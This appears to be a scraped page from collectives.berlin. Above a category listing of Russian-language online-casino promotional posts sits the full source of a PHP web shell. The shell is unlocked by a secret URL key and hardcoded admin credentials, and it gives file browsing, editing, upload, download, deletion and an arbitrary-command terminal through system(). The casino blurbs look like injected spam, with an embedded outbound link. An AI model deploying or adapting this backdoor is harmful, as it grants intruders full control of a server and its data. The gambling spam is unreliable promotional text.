if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 800A Z – collectives.berlin

Your digital paradise.

Category: 800A Z

  • Лучшие слоты казино онлайн — популярные игровые автоматы

    Лучшие слоты казино онлайн — популярные игровые автоматы Пользователи наблюдают за его действиями через встроенный видеоплеер. В ней используется поле из 36 номеров и одного сектора зеро. Задачей пользователя становится угадывание номеров, их цветов и диапазонов. После приема ставок дилер запускает колесо и бросает в него шарик. Когда рулетка останавливается, он оказывается в одной из…

    Click or not…

  • Лучшие казино на деньги — сравнение игровых возможностей

    Лучшие казино на деньги — сравнение игровых возможностей Обратиться за помощью можно в чате на сайте и в приложении, по электронной почте и номеру телефона. Данный критерий отбора площадок важен, так как служба поддержки должна быстро помогать справляться с критическими ошибками, мешающими игре. Редакция сайта Casinolic.com проверила оперативность и полноту ответов специалистов и учла это…

    Click or not…

  • Лучшие казино на деньги — игровые автоматы и слоты

    Лучшие казино на деньги — игровые автоматы и слоты Оценивать важно не только размер предложения, но и условия его отыгрыша. Регулированием игорной деятельности занимается КРАИЛ — Комиссия по регулированию азартных игр и лотерей. К играм допускаются граждане, которым исполнилось 18 лет. Люди, которые много времени проводят вне дома, могут загрузить приложение казино на свой смартфон…

    Click or not…

  • Лучшие онлайн казино России — обзор игровых возможностей

    Лучшие онлайн казино России — обзор игровых возможностей Также для пользователей доступна щедрая программа лояльности. Ниже приведено описание того, как каждый тип слотов может улучшить ваш игровой опыт. Индустрия интерактивных игр всегда была на передовой внедрения технологий, пытаясь раздвинуть границы интерактивности в азартных играх. Захватывающий лучшие интернет казино онлайн визуальный стиль — единственное преимущество 3D-слотов.…

    Click or not…

  • Лучшие казино онлайн на деньги 2026 — актуальный список

    Лучшие казино онлайн на деньги 2026 — актуальный список Подобные провайдеры работают https://aikikai-russia.org/ по лицензии и разрабатывают игры в соответствии с установленными нормами. Их автоматы не выпускаются до тех пор, пока независимые агентства не проведут аудит ГСЧ и фактической отдачи. Выбор провайдеров формирует игровой опыт пользователя. Именно от разработчика зависят качество графики и оптимизация интерфейса…

    Click or not…

  • 10 лучших казино онлайн 2026 — актуальный список

    10 лучших казино онлайн 2026 — актуальный список Выводить профит могут зарегистрированные игроки, которые накопили достаточно банкролла и отыграли бонусы. Конечно, интерфейс, наличие мобильной версии, разнообразие игр (слоты, лайв, рулетка, карточные). Удобство пополнения и вывода (карты, крипта, электронные кошельки), бонусы и акции. В общем, я реально заморочился — чтобы вы могли просто открыть список и…

    Click or not…

  • 10 лучших казино онлайн 2026 — актуальный список

    10 лучших казино онлайн 2026 — актуальный список Выводить профит могут зарегистрированные игроки, которые накопили достаточно банкролла и отыграли бонусы. Конечно, интерфейс, наличие мобильной версии, разнообразие игр (слоты, лайв, рулетка, карточные). Удобство пополнения и вывода (карты, крипта, электронные кошельки), бонусы и акции. В общем, я реально заморочился — чтобы вы могли просто открыть список и…

    Click or not…

  • Лучшие казино на деньги — обзор условий и возможностей

    Лучшие казино на деньги — обзор условий и возможностей Мы также делимся советами о том, как выбрать самое лучшее казино на сегодня и избежать рисков при игре на реальные деньги. В отличие от пополнения счета, выплаты выигрышей не происходят моментально. Заявки обрабатываются автоматически, после чего выигрыш сразу поступает на счет пользователя. Составленный экспертами сайта рейтинг…

    Click or not…

  • Вход в Норм казино онлайн — актуальная информация

    Вход в Норм казино онлайн — актуальная информация Наше зеркало даёт полный и безопасный доступ ко всем функциям казино, а щедрая бонусная программа позволяет начать игру с минимальными рисками. Официальный сайт Norm Casino часто блокируется интернет-провайдерами по требованию Роскомнадзора. Одним из ключевых преимуществ Норм Казино является его лицензионная чистота. Казино работает под надзором авторитетного регулятора…

    Click or not…